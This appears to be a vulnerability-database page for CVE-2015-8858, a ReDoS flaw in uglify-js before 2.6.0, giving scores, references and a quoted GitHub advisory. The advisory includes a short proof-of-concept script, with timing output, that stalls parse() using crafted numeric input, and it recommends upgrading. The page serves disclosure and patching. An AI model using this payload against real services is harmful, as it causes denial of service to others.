CVE-2015-8858
highpriority · track · 31EPSS 0.024 · 84 %ileEURUUSEPSS · scored 2026-10-27
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.8
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-c9f4-xj24-8jqxRegular Expression Denial of Service in uglify-js2017-10-24ghsa · osvUS
Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method. ### Proof of Concept ``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ``` ### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s $ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ``` ## Recommendation Update to version 2.6.0 or later.
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (8)
External citations — patches, advisories, analysis.
- http://www.openwall.com/lists/oss-security/2016/04/20/11cnnvd
- https://nodesecurity.io/advisories/48cnnvd
- http://www.openwall.com/lists/oss-security/2016/04/20/11enisa_euvd
- http://www.securityfocus.com/bid/96409enisa_euvd
- https://nodesecurity.io/advisories/48enisa_euvd
- http://www.openwall.com/lists/oss-security/2016/04/20/11Mailing ListThird Party Advisorynvd
- http://www.securityfocus.com/bid/96409nvd
- https://nodesecurity.io/advisories/48ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan